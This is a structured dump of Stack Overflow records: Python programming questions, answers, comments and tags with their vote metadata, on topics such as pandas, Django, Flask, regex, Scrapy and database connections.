has body: Try this: patt = '[^ \n]+?\.(?:png|jpg|gif|bmp|jpeg|mp4|avi|flv)' [^ \n] is a negated character class, allowing no spaces or newlines. The dot (.) is a special character and needs to be escaped with a backslash. Try it online <a href="https://tio.run/##pVXBjpswEL3zFdySqE0yxjbgSNWqqtpe0kuv3TYaY5uyCwaBs@pK/HvqZHfVhKSbRGuJE7x57828wc2j@11butkUVVO3Lmx10LnwQzgajYJ5Zd1cocP5p9o6bd0i@Ia2MLpzX4pSz9wfF75@7uuqwa6bOsy7lY4UV5hxiZylSCKIJVcMDE81Y/4JQ1c1q@yJKlDa4Lp0K84x5txQBgJSlWnOFQEkgsgYgTB4ZmraItNPPJJmCY@VwiSlqCAWhMQUBYCR3GjCg2Nj80vZFsESH@v1zv@KMsZBUpqlkjE0HoNSAk@U0soo89wgWaK9Xymd1VVVdF1RW61md43O/9u1/TZc2fAXurVtdV50TreerLH5WzzP9/QsThW6asqLAACIP5AywdLpC3j58fvXzzN8KI4tASRxQtMEvEQ2AHhvx4C9GSUZkTQRVDMRARNppEEzIiJKgWYkkdue/lOU0IgMCO6a/FVFRAwAVcOOAcMxHlDySzztUUZwCWA/RW8d2tkIXLF@wwD4st260u20xDbXJ70cBuACwF4AMBZMEg1c@V4DR7@nSvFUYBYTxQQ9EYDrFPkADACnQnwmAIMKpzJ0GIALNJ4JwBUjOzv@w/fbu6NBt7tGfvwKb@3Pdze3s/HNwqvs/T71eWF6WTX99i/Ye6@971hvyofJKAjMsthdQK2emcIqLMvxttb7sHOTwGu2brz7ZLLZ/AU" rel="nofollow noreferrer">here.
downvote count: 0
answers question: http://stackoverflow.com/q/49446661
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/comment/85949158
has text: @DyZ Thank you! How about the problem that betweenness centrality provides the same results whether it's weighted or not?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49473373

http://stackoverflow.com/comment/86446965
score: 0
has text: I ran the same code on widows PC and its running fine.
type: Comment
comment on: http://stackoverflow.com/q/49592791
type: QuestionComment

http://stackoverflow.com/comment/85934027
type: Comment
type: QuestionComment
has text: You can though, if you use numeric strings
comment on: http://stackoverflow.com/q/49465601
score: 0

http://stackoverflow.com/a/49685911
type: Answer
answers question: http://stackoverflow.com/q/49569016
has body: I used Anaconda3 5.1.0 and got a problem similar to yours. Then, I uninsatll it, and download GraphLabCreateLauncher from Turi. Run the launcher and install Anaconda2 4.0.0. Now, the problem is solved. I hope it will help you.
score: 0

http://stackoverflow.com/q/49457361
has title: bottle and pywin32 not working properly together
tagged with: python-3.x
has body: So, I'm studying Python and therefore a noob question maybe. I'm trying run bottle from within a windows service. If I run bottle standlone, works great, if I run the windows service works great too. But when I try to import bottle and start the service I get the error: File "C:\Users\my.username\AppData\Local\Programs\Python\Python35\lib\site-packages\bottle.py", line 74, in &lt;module&gt; _stdout, _stderr = sys.stdout.write, sys.stderr.write AttributeError: 'NoneType' object has no attribute 'write' This is the code I've tried so far: import bottle #just adding this line raises the exception import win32serviceutil import win32service import win32event import servicemanager import logging import threading class AppServerSvc(win32serviceutil.ServiceFramework): _svc_name_ = 'PestService' _svc_display_name_ = 'The Pest Service' _svc_description_ = "This service writes stuff to a file" def __init__(self, args): win32serviceutil.ServiceFramework.__init__(self, args) self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) def SvcStop(self): self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) win32event.SetEvent(self.hWaitStop) def SvcDoRun(self): self.ReportServiceStatus(win32service.SERVICE_RUNNING) win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE) self.main() def main(self): pass if __name__ == '__main__': win32serviceutil.HandleCommandLine(AppServerSvc) Simply adding 'import bottle' raises the exception. I'm little lost. I've searched Google, but to be honest I don't have a clue on what to search... Like I said, separating service from bottle no problem. Both run just fine.
answer count: 0
has comment: http://stackoverflow.com/comment/85918455
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85917890
type: Question
score: 0
has comment: http://stackoverflow.com/comment/85998810
tagged with: pywin32
tagged with: python
has comment: http://stackoverflow.com/comment/85995230
tagged with: bottle

http://stackoverflow.com/comment/86099176
type: Comment
type: QuestionComment
has text: There are a number of different quasi-standard dialects of CSV that handle this in different ways. If you want to build this from scratch, you need to either find out how the CSV was created and read up on the docs, or reverse-engineer the rules for yourself. But if you use the stdlib `csv` module, it already knows the most popular dialects, which makes things a whole lot easier.
comment on: http://stackoverflow.com/q/49545712
score: 1

http://stackoverflow.com/comment/86139568
score: 0
has text: @BenoîtLatinier It appears to be mostly while POSTing files with requests, but it only appears with lots of threads active so it's hard to totally sure in the log
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49565535

http://stackoverflow.com/a/49596130
has comment: http://stackoverflow.com/comment/86199891
has comment: http://stackoverflow.com/comment/86202262
has comment: http://stackoverflow.com/comment/86202065
has comment: http://stackoverflow.com/comment/86199985
has comment: http://stackoverflow.com/comment/86199881
type: Answer
has comment: http://stackoverflow.com/comment/86202230
has comment: http://stackoverflow.com/comment/86202091
answers question: http://stackoverflow.com/q/49595999
has comment: http://stackoverflow.com/comment/86199502
has comment: http://stackoverflow.com/comment/86199668
accepted answer of: http://stackoverflow.com/q/49595999
score: 0
has body: Change you Hello.Py as following: from flask import Flask,render_template, redirect,url_for app = Flask(__name__) from app.user.routes import * if __name__ == '__main__': app.debug = True app.run(debug = True) Change your routes.py as following: from flask import render_template from Hello import app @app.route('/user') def get_user(): user = {'username':'Migual'} posts = [ { 'author': {'username':'John'}, 'body':'Beautiful day in Portland!' }, { 'author': {'username':'Susan'}, 'body':'The Avengers movie was so cool!' } ] return render_template('index.html',title='Home',user=user,posts=posts)
has comment: http://stackoverflow.com/comment/86199799
type: AcceptedAnswer
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/85949745
score: 0
comment on: http://stackoverflow.com/q/49473628
has text: it is an array nested in another array.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86166256
has text: If it's just a pandas question, please avoid adding tags that are not relevant to your problem. I don't need to know neural networks to solve your problem, for example, so there's no need to tag it machine learning.
comment on: http://stackoverflow.com/q/49579192
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85909854
comment on: http://stackoverflow.com/q/49453440
has text: What version is your pandas? I think this is a bug, I get the right answer on 0.22.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86084198
has text: python 3.5.some
type: Comment
comment on: http://stackoverflow.com/q/49536784
type: QuestionComment
score: 0

http://stackoverflow.com/comment/115758843
score: 0
comment on: http://stackoverflow.com/q/49514402
type: Comment
has text: `\xad` mentioned in the error message is a format character _Soft Hyphen_ (Unicode `U+00AD`, UTF-8 sequence `\xC2\xAD`).
type: QuestionComment

http://stackoverflow.com/comment/86089433
type: Comment
type: QuestionComment
has text: What do you mean, overlapping? Can you give an example?
comment on: http://stackoverflow.com/q/49541029
score: 0

http://stackoverflow.com/a/78266475
has comment: http://stackoverflow.com/comment/138005441
answers question: http://stackoverflow.com/q/49502937
score: 0
has body: In one of our application, i was able to run Django with Daphne in hot reload mode (in my case in a docker environment), following this documentation on the official Django site: https://docs.djangoproject.com/en/5.0/howto/deployment/asgi/daphne/#integration-with-runserver Versions used: Daphne = 4.0 (check release notes https://github.com/django/daphne/blob/main/CHANGELOG.txt) Django = 3.2.13 (Versions > 3.0 should work; python > 3.6 is required) One needs to integrate Daphne with the runserver command. This can be achieved by adding daphne explicitly to the INSTALLED_APPS of your django settings file (was not required in older daphne versions): INSTALLED_APPS = [ "daphne", ..., ] Create or edit your asgi.py file in your django root app: import os import django from channels.routing import ProtocolTypeRouter from django.core.asgi import get_asgi_application os.environ.setdefault("DJANGO_SETTINGS_MODULE", "my_app.settings") # Initialize Django ASGI application early to ensure the AppRegistry # is populated before importing code that may import ORM models. django_asgi_app = get_asgi_application() from my_app.routing import websockets django.setup() application = ProtocolTypeRouter({ "http": django_asgi_app, "websocket": websockets }) Note: I am also using websockets in my app. In your app you may not need "websocket": websockets in the snippet above. Start the development server from your application root path with the command: python manage.py runserver On the server startup you should see a log like this: Django version 3.2.13, using settings my_app.settings.development Starting ASGI/Daphne version 4.0.0 development server at http://0.0.0.0:8000/ Now a daphne server should be running in your development environment and restart on every code change. Hope this helps someone.
has comment: http://stackoverflow.com/comment/138005593
type: Answer

http://stackoverflow.com/comment/85905783
comment on: http://stackoverflow.com/q/49451653
type: Comment
type: QuestionComment
has text: It is unusual to use the `str` constructor explicitly unless you're casting another type to a string.
score: 10

http://stackoverflow.com/a/49451918
score: 6
has comment: http://stackoverflow.com/comment/85906519
upvote count: 8
has body: I know Python is a dynamic language and declaring variables before-hand is generally not necessary What? First of all how is declaring a variable before hand related to being dynamic or not? Secondly how can you even imagine any language that forbits declaring a variable "before-hand" (whatever that means) to work? You need to declare some variable directly at some point. Is there a difference between both of these and which is considered best practice? Yes, there are differences. Consider this: def str(): return 1 x = str() Python does not protect you from variable shadowing. But the literal empty string '' cannot be shadowed. That's a difference on the functional level. There is also a difference on the performance level: x = '' is slightly faster then x = str() due to being translated to a different bytecode. After all x = '' does not require a function call (which cannot be optimized again due to variable shadowing). And finally esthethics: x = '' is probably more readable then x = str(). Again since you need to be sure what str() actually is in the context. So all in all: go with x = ''.
type: Answer
answers question: http://stackoverflow.com/q/49451653
has comment: http://stackoverflow.com/comment/85906521
downvote count: 2

http://stackoverflow.com/a/75077436
has body: The elements of ctypes.Structure must be ctypes types, but you can use numpy.ctypes.data_as to convert a numpy array to a C type: import ctypes as ct import numpy as np PDOUBLE = ct.POINTER(ct.c_double) # equivalent to C double* class MyStruct(ct.Structure): _fields_ = (('array', PDOUBLE), ('size', ct.c_size_t)) def __init__(self, arr): if not isinstance(arr, np.ndarray) or arr.dtype != 'float64' or arr.ndim != 1: raise TypeError('parameter 1 must be 1D numpy array of float64') self.array = arr.ctypes.data_as(PDOUBLE) self.size = len(arr) def __repr__(self): return f'MyStruct({self.array[:self.size]})' arr = np.array([1., 2., 3.]) s = MyStruct(arr) print(s) Output: MyStruct([1.0, 2.0, 3.0])
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49553779

decode
tag name: decode
tags question: http://stackoverflow.com/q/49562499
type: Tag

build
tag name: build
tags question: http://stackoverflow.com/q/49552246
type: Tag
tags question: http://stackoverflow.com/q/49551375
tags question: http://stackoverflow.com/q/49545119

http://stackoverflow.com/a/49595019
answers question: http://stackoverflow.com/q/49594934
score: 0
type: Answer
has body: A deque has a rotate method; turn your list into a deque; append the deque (as a list) to the final list; rotate; repeat 25 times. import collections alphabet=["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"] alphabet = collections.deque(alphabet) final = [] for _ in range(26): final.append(list(alphabet)) alphabet.rotate()

http://stackoverflow.com/q/49456757
accepted answer: http://stackoverflow.com/a/49456758
answer count: 1
tagged with: sqlalchemy
favorite count: 0
type: Question
tagged with: kerberos
score: 5
upvote count: 5
has answer: http://stackoverflow.com/a/49456758
has body: I am trying to connect to MS Sql Server using python and sqlalchemy, with trusted connection / active directory / kerberos authentication. I was able to connect before, but now I am getting this error: Error: ('HY000', u'[HY000] [Microsoft][ODBC Driver 13 for SQL Server]SSPI Provider: Ticket expired (negative cache) (851968) (SQLDriverConnect)')
has title: How to resolve ticket expired error on Mac OS connecting to MS Sql Server using trusted connection
tagged with: python
tagged with: sql-server
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/85968049
has text: @miradulo Looks like the 3.6 dependency turned out to be relevant after all. (It's always hard to guess with minimalist questions…)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49482492

http://stackoverflow.com/q/49455926
tagged with: python-wheel
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49455927
score: 1
tagged with: setuptools
has title: How do I fix "error: error in setup.cfg: command 'bdist_wheel' has no such option 'universal'"
tagged with: python
type: Question
has body: When doing python setup.py bdist_wheel I got an error: error: error in setup.cfg: command 'bdist_wheel' has no such option 'universal' How do I fix this?
type: UnansweredQuestion

http://stackoverflow.com/q/49578171
type: Question
tagged with: conditional-statements
has title: Conditions among different dataframes
tagged with: python
has body: A B C 0 2002-01-13 18 120 1 2002-01-13 7 150 2 2002-01-13 11 130 3 2002-01-13 26 140 4 2002-01-14 13 180 5 2002-01-14 25 165 6 2002-01-14 9 150 7 2002-01-14 4 190 I have this df. I apply this code: df2 = df.loc[df['B'].sub(10).abs().groupby(df['A']).idxmin()] Which result in df2: A B C 2 2002-01-13 11 130 6 2002-01-14 9 150 Now I want to create a new df3, selecting rows in df that satisfy next conditions, per each A group: df["C"] = df2["C"] + 20 (in case of 2002-01-13 group, 130 + 20 = 150). If it doesn´t exist in df row that satisfy df["C"] = df2["C"] + 20, take the first lower value (in case of 2002-01-14 group, 150 + 20 = 170. Since 170 doesn´t exist, select the next lower, it means 165). df3 output should be: A B C 1 2002-01-13 7 150 5 2002-01-14 25 165
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: pandas
possible better answer: http://stackoverflow.com/a/49578813
accepted answer: http://stackoverflow.com/a/49578295
has answer: http://stackoverflow.com/a/49578813
has answer: http://stackoverflow.com/a/49578295

http://stackoverflow.com/q/49528692
score: 1
has comment: http://stackoverflow.com/comment/86067029
has comment: http://stackoverflow.com/comment/86072216
tagged with: tensorflow
type: Question
has comment: http://stackoverflow.com/comment/86081765
accepted answer: http://stackoverflow.com/a/49550793
has body: I'm a beginner in deep learning and have taken a few courses on Udacity. Recently I'm trying to build a deep network detecting hand joints in the input depth images, which doesn't seem to be working well. (My dataset is ICVL Hand Posture Dataset) The network structure is shown here. ① A batch of input images, 240x320; ② An 8-channel convolutional layer with a 5x5 kernel; ③ A max pooling layer, ksize = stride = 2; ④ A fully-connected layer, weight.shape = [38400, 1024]; ⑤ A fully-connected layer, weight.shape = [1024, 48]. After several epochs of training, the output of the last layer converges as a (0, 0, ..., 0) vector. I chose the mean square error as the loss function and its value stayed above 40000 and didn't seem to reduce. The network structure is already too simple to be simplified again but the problem remains. Could anyone offer any suggestions? My main code is posted below: image = tf.placeholder(tf.float32, [None, 240, 320, 1]) annotations = tf.placeholder(tf.float32, [None, 48]) W_convolution_layer1 = tf.Variable(tf.truncated_normal([5, 5, 1, 8], stddev=0.1)) b_convolution_layer1 = tf.Variable(tf.constant(0.1, shape=[8])) h_convolution_layer1 = tf.nn.relu( tf.nn.conv2d(image, W_convolution_layer1, [1, 1, 1, 1], 'SAME') + b_convolution_layer1) h_pooling_layer1 = tf.nn.max_pool(h_convolution_layer1, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME') W_fully_connected_layer1 = tf.Variable(tf.truncated_normal([120 * 160 * 8, 1024], stddev=0.1)) b_fully_connected_layer1 = tf.Variable(tf.constant(0.1, shape=[1024])) h_pooling_flat = tf.reshape(h_pooling_layer1, [-1, 120 * 160 * 8]) h_fully_connected_layer1 = tf.nn.relu( tf.matmul(h_pooling_flat, W_fully_connected_layer1) + b_fully_connected_layer1) W_fully_connected_layer2 = tf.Variable(tf.truncated_normal([1024, 48], stddev=0.1)) b_fully_connected_layer2 = tf.Variable(tf.constant(0.1, shape=[48])) detection = tf.nn.relu( tf.matmul(h_fully_connected_layer1, W_fully_connected_layer2) + b_fully_connected_layer2) mean_squared_…
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
tagged with: computer-vision
has answer: http://stackoverflow.com/a/49550793
favorite count: 0
type: AnsweredQuestion
tagged with: deep-learning
has title: Tensorflow: CNN training converges at a vector of zeros
has comment: http://stackoverflow.com/comment/86078852

http://stackoverflow.com/q/49494082
score: 3
tagged with: skyfield
tagged with: python
has answer: http://stackoverflow.com/a/50973739
type: AnsweredQuestion
has body: I've implemented sgp4 algorithm using Skyfield in python. I need the position vector for 1 day time interval with 1 second periodicity. For that, I have to calculate the sgp4 repeatedly, adding 1 second each time. Is there a way to return a vector, which contains all position?
answer count: 2
has title: Skyfield: achieve sgp4 results with 1 second periodicity for given time interval
upvote count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/51698405
possible better answer: http://stackoverflow.com/a/51698405
tagged with: sgp4
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/50973739

http://stackoverflow.com/comment/86083744
type: Comment
has text: Well first off, what do you expect this to do: `\d{0}`? That is attempting to match 0 digits... I think you should take a look at some regular expression tutorials to get a better handle on their implementation
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49518997

http://stackoverflow.com/a/49452759
answers question: http://stackoverflow.com/q/49452063
has body: Assuming days are 01-31 (not 1-31) I wrote a solution based on string slicing. But you can use datetime with this logic too. from pprint import pprint with open('file.txt', 'r') as input_file: input_file = input_file.readlines() previous_day = 15 # first line of the file segments = [] day_data = [] for line in input_file: current_day = int(line[14:16]) if current_day &gt; previous_day: # new day segments.append(day_data) # append before starting new list day_data = [] day_data.append(str(line)) else: day_data.append(str(line)) pprint(segments)
type: Answer
score: 0

http://stackoverflow.com/comment/86091825
type: AnswerComment
type: Comment
has text: Sure I can use a nested loop instead of list comprehension to achieve the same thing. **But what I am having issues with is saving each individual calc into an array**. I cannot figure out how to put a counter in to iterate through the empty arrays created.
comment on: http://stackoverflow.com/a/49542129
score: 0

http://stackoverflow.com/q/49595199
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has answer: http://stackoverflow.com/a/49597451
has body: I did write code import jaydebeapi USERNAME="user01" PASSWORD="password01" URL_CONNECTION="jdbc:teradata://server01/" jars=['E:\\jdbc\\tdgssconfig.jar','E:\\jdbc\\terajdbc4.jar'] conn = jaydebeapi.connect('com.teradata.jdbc.TeraDriver', URL_CONNECTION,[USERNAME,PASSWORD], jars) If I post username and password User protected internal password - OK. BUT if I post username and password by LDAP returned error jpype._jexception.SQLExceptionPyRaisable: java.sql.SQLException: [Teradata Database] [TeraJDBC 16.10.00.07] [Error 8017] [SQLState 28000] The UserId, Password or Account is invalid. Is exist difference between internal user and LDAP user? That I have to change?
tagged with: jdbc
tagged with: teradata
has title: Connect to Teradata: difference between a regular and a domain user
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/49597451
answer count: 2
accepted answer: http://stackoverflow.com/a/49807879
tagged with: python
has answer: http://stackoverflow.com/a/49807879

http://stackoverflow.com/comment/86204626
score: 2
has text: It *is* alphabetic, according to the Unicode standard.
comment on: http://stackoverflow.com/q/49598702
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85987511
has text: Just put the password to write only in the Serializer extra_kwargs = { 'password': {'write_only': True} }
comment on: http://stackoverflow.com/q/49461533
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/86125839
comment on: http://stackoverflow.com/q/49558958
type: QuestionComment
has text: Since you are using `Counter` already, why not just `c.most_common(1)` ?
score: 2
type: Comment

http://stackoverflow.com/q/49576729
answer count: 1
has comment: http://stackoverflow.com/comment/86161065
upvote count: 1
has comment: http://stackoverflow.com/comment/86162461
tagged with: python
tagged with: merge
tagged with: between
has body: I have the following sample data frames: df_1: from datetime import datetime import pandas as pd &gt;&gt;&gt; df_1 = pd.DataFrame( {"SVDiscrep_Merge": ["2081916SAN", "2081242DFW", "2081248ORD","20874CLE", "2081740DEN"], "RON_DATE": [datetime(2017,6,1), datetime(2017,6,4), datetime(2017,6,6), datetime(2017,6,7), datetime(2017,6,8)], "Next SV1 Date": [datetime(2017,6,4), datetime(2017,6,6), datetime(2017,6,7), datetime(2017,6,8), datetime(2017, 6, 18)]}) &gt;&gt;&gt; df_1 SVDiscrep_Merge RON_DATE Next SV1 Date 2081916SAN 6/1/2017 6/4/2017 2081242DFW 6/4/2017 6/6/2017 2081248ORD 6/6/2017 6/7/2017 20874CLE 6/7/2017 6/8/2017 2081740DEN 6/8/2017 6/18/2017 df_2: &gt;&gt;&gt; df_2 = pd.DataFrame( {"SVDiscrep_Merge": ["2081916SAN", "2081916SAN", "2081916SAN","2081740DEN"], "REPORT_DT": [datetime(2017,6,1), datetime(2017,6,3), datetime(2017,6,4), datetime(2017,6,9)], "ColA": ["A", "B", "C", "D"]}) &gt;&gt;&gt; df_2 SVDiscrep_Merge REPORT_DT ColA 2081916SAN 6/1/2017 A 2081916SAN 6/3/2017 B 2081916SAN 6/4/2017 C 2081740DEN 6/9/2017 D I want to employ the following logic: Left merge df_2 into df_1 if (and only if) SVDiscrep_Merge is equal in both dataframes and REPORT_DT column is >= date in RON_DATE and &lt; date in Next SV1 Date in df_1. This is my desired output: SVDiscrep_Merge RON_DATE Next SV1 Date ColA 2081916SAN 6/1/2017 6/4/2017 A 2081916SAN 6/4/2017 6/6/2017 B 2081916SAN 6/6/2017 6/7/2017 2081242DFW 6/4/2017 6/6/2017 2081248ORD 6/6/2017 6/7/2017 20874CLE 6/7/2017 6/8/2017 2081740DEN 6/8/2017 6/18/2017 D I know how to do the merge in python code if I did not have that date logic... but with that date logic (after searching Google) I am at a loss.
downvote count: 1
has title: Pandas Dataframe Merge on 2 Columns Including Conditional If Merge: If Date in df_2 is Between Two Other Dates in df_1
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/86162108
tagged with: date
has comment: http://stackoverflow.com/comment/86161552
has answer: http://stackoverflow.com/a/49577353
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/comment/86036854
score: 0
type: QuestionComment
type: Comment
has text: As far as I can understand, this can happen if your subprocess (directly, or by a call to another subprocess in turn) is bypassing stdout/stderr and writing directly to the tty, or it detects that it is part of a pipe, and therefore skips outputting to stdout. Both of these options sounds a bit far-fetched, but it can happen. In either of those two cases, the solution is to "trick" the program to think it writes directly to the tty, which is done by the `pty` module or, more easily, using `pexpect`.
comment on: http://stackoverflow.com/q/49487551

http://stackoverflow.com/comment/85893258
has text: Hmm actually I can't make it work...?
score: 0
comment on: http://stackoverflow.com/q/49442157
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85952842
type: AnswerComment
comment on: http://stackoverflow.com/a/49474955
has text: Even with `?P<pk>\w+)` its perfectly fine.
type: Comment
score: 0

http://stackoverflow.com/comment/86186974
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49561853
has text: @AnnaRudzińska It is probably better to use `threading` (or `asyncio`) than `multiprocessing` here, since calling multiple webpages is IO bound and Python will release the GIL while waiting for the remote servers to respond.
score: 0

http://stackoverflow.com/a/49504299
has comment: http://stackoverflow.com/comment/86056829
has comment: http://stackoverflow.com/comment/86056657
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86056786
has comment: http://stackoverflow.com/comment/86056801
accepted answer of: http://stackoverflow.com/q/49503413
has comment: http://stackoverflow.com/comment/86056925
type: Answer
has body: Actually the get_or_404() method doing a similar/exact job as below, try: return Text.object.get(pk=step_pk,course_id = course_pk) except Text.DoesNotExist: raise Http404 You can read the source code of the same here What is course_id and pk ? Both are attributes of your Text model, as the name indicates pk is your Primary Key of Text model and course_id is the id/pk of course field which is a FK. EDIT Text is inherited from Step model so, it will show properties of usual python class.Hence, the Text model be like this internally (not-exact) class Text(models.Model): content = models.TextField(blank=True, default="") title = models.CharField(max_length=200) description = models.CharField() order = models.IntegerField(default=0) course = models.ForeignKey(Course) class Meta: ordering = ['order', ] def __str__(self): return self.title Example text = Text.objects.get(id=1) # text instance with id=1 text.course_id # will hold the id of "course" instance which is related to the particular "text" instance URL assignment and all those stuffs are entirely depends on your choice and logic. So If you need to get a Text instance in your view, do as below, text = get_object_or_404(Text, pk = pk_of_TEXT_instance)
has comment: http://stackoverflow.com/comment/86056548
answers question: http://stackoverflow.com/q/49503413
has comment: http://stackoverflow.com/comment/86056620
score: 0

http://stackoverflow.com/q/49546769
tagged with: pandas
upvote count: 1
score: 1
tagged with: dataframe
tagged with: python
favorite count: 0
type: Question
has body: I basically want a table that has right-justified table cell entries and a minimum column width of 100. I have two ways to display a Pandas dataframe df in HTML: html = df.style.applymap(color_negative_red).set_precision(5).set_table_attributes( 'class = "dataframe table-bordered table-striped table-hover').set_properties( **{'width': '10em', 'text-align': 'right'}).render() display(HTML(html) In this method, I can't figure out how to hide the row indices using the Styler object (i.e., there is no index = False parameter I could set before I render. and: return df.to_html(index=ind, justify = {"right"}, col_space = 100, classes = ["table-bordered", "table-striped", "table-hover"]) This method, using to_html, does not seem to work with the justify and col_space parameters. How can I go about doing this/find a workaround to either problem?
tagged with: pandas-styles
has title: Pandas Styler Hiding Index
downvote count: 0
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/51893944

http://stackoverflow.com/a/49552100
upvote count: 1
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86113165
answers question: http://stackoverflow.com/q/49539450
has body: I'm not able to recreate your error, but from how I understand your question you want to validate that all the values in a column are hexadecimals. Perhaps it would be better to evaluate each hexadecimal for itself rather than trying to do them all at once. This should work import pandas as pd # Function that evaluates if a number is a hex def is_hex(x): try: int(x, 16) return True except ValueError: return False # Testdata df = pd.DataFrame({'hexes' : ['FF1231AAAD', '4451481AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA923478413819AFCCCCBBBBBBDDDDDDDD', 'XXXXXXXXXX']}) # Apply our function using lambdas df['validate'] = df['hexes'].apply(lambda x : is_hex(x)) # Alternatively use list comprehension (which I believe is faster than apply) df['validate'] = [is_hex(x) for x in df['hexes']] # Check that all values are True df['validate'].all() To determine which version is actually faster you can try using timeit %timeit for x in range(100): df['hexes'].apply(lambda x : is_hex(x)) 14.6 ms ± 156 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) %timeit for x in range(100): [is_hex(x) for x in df['hexes']] 3.04 ms ± 55.4 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) Which seems to confirm that the list comprehension is actually almost 5 times as fast.
has comment: http://stackoverflow.com/comment/86113993
type: Answer

http://stackoverflow.com/a/49588599
has body: Multiplication in your python code: result[row][col] = result[row][col]+(matrixA[matrixA_Row][matrixA_Col]*matrixA[matrixB_Row][matrixB_Col]) Here you're using elements only from matrix A for multiplication. Multiplication in your swift code: result[Row][Col] += (matrixA[MatrixA_Row][MatrixA_Col] * matrixB[MatrixB_Row][MatrixB_Col]); Here you're using both matrix A and matrix B. That's why the results are different - you have an error in your python code.
type: Answer
score: 3
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/49585283
has comment: http://stackoverflow.com/comment/86187928

http://stackoverflow.com/q/49511545
has title: scrapy pipeline returns 'NoneType' object has no attribute '__getitem__'
answer count: 1
tagged with: scrapy
type: Question
has body: In my spider i have two pipelines, One for images one for files, in the spider i check for a result of images like so if len(self.img_) &gt;= 0: item['image_urls'] = self.img_ and also do the same for files. if len(self.result) &gt;= 0: item['file_urls'] = self.result my settings are like so for the Pipelines 'ScrawlerScraper.images.ImgPipeline': 1, 'ScrawlerScraper.fld_pipeline.FilesPipeline': 2 My process item in the image pipeline that comes first is like so def process_item(self, item, spider): try: request = [x for x in item['image_urls']] for x in request: dfd = spider.crawler.engine.download(x, spider) dfd.addBoth(self.return_item, item) return dfd except logging.info('No images'): return item This is the same for the files pipeline def process_item(self, item, spider): try: request = [x for x in item['file_urls']] for x in request: dfd = spider.crawler.engine.download(x, spider) dfd.addBoth(self.return_item, item) return dfd except logging.error('No Files Problem'): return item I do this because i am getting multiple images and can only yield the item once in the spider. What i dont understand is why i am getting an error in the second pipeline fld_pipeline.py", line 23, in process_item request = [x for x in item['file_urls']] TypeError: 'NoneType' object has no attribute '__getitem__' if there is no item['file_urls'] the pipeline should not even execute. Im totaly lost as to what is happening. Thanks for any help and i hope my question is not to badly formated.. This is where i check for a file that exits and return item if not. maybe i have it wrong where i am in a loop and trying to return the item. but it comes back to the next pipeline as none for x in item['image_urls']: try: a = urlparse.urlparse(x) except TypeError: logging.info('No images') return item file_name = os.path.basename(a.path) try: u = sock.Worker().get_url(x) except TypeError: logging.info('No images') return item if u: try: os.path.exists(settings.get('IMAGES_STORE') + file_name) loggi…
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49512267
tagged with: python
has comment: http://stackoverflow.com/comment/86028829
score: 0

http://stackoverflow.com/q/49517010
has comment: http://stackoverflow.com/comment/86042166
linked to: http://stackoverflow.com/q/3798835
has comment: http://stackoverflow.com/comment/86040152
has comment: http://stackoverflow.com/comment/86042495
has comment: http://stackoverflow.com/comment/86041234
score: 2
tagged with: python-descriptors
has body: I am reading Item 31 in the book "Effective Python". I don't understand why in the example on page 97, why math_grade, writing_grade and science_grade are class (static) variables of the Exam class, rather than regular, instance variables. If they were instance variables, then the Grade class wouldn't need to use instance as key in its global book-keeping dictionary. Seems to me like the author made one obvious design mistake just to illustrate how to use descriptors, i.e. global book keeping in the Grade class, which seems like a bad idea anyways. My other question is more high-level: isn't this a confusing, unclear way to do things? Keeping global state of multiple objects in one single registry, like Grade does. Doesn't seem like a reusable, clean design to me. Here is reference to the code, for people that don't have the book: https://github.com/SigmaQuan/Better-Python-59-Ways/blob/master/item_31_use_descriptors.py Specifically class Grade(object): def __get__(*args, **kwargs): super().__getattribute__(*args, **kwargs) def __set__(*args, **kwargs): super().__setattr__(args, kwargs) class Exam(object): math_grade = Grade() writing_grade = Grade() science_grade = Grade()
has comment: http://stackoverflow.com/comment/86040673
has comment: http://stackoverflow.com/comment/86040246
has comment: http://stackoverflow.com/comment/86041785
has comment: http://stackoverflow.com/comment/86040789
downvote count: 0
has comment: http://stackoverflow.com/comment/86040982
has comment: http://stackoverflow.com/comment/86040399
has comment: http://stackoverflow.com/comment/86040311
has comment: http://stackoverflow.com/comment/86040577
favorite count: 0
has title: Descriptors in Effective Python
has comment: http://stackoverflow.com/comment/86040787
has comment: http://stackoverflow.com/comment/86039951
type: Question
upvote count: 2
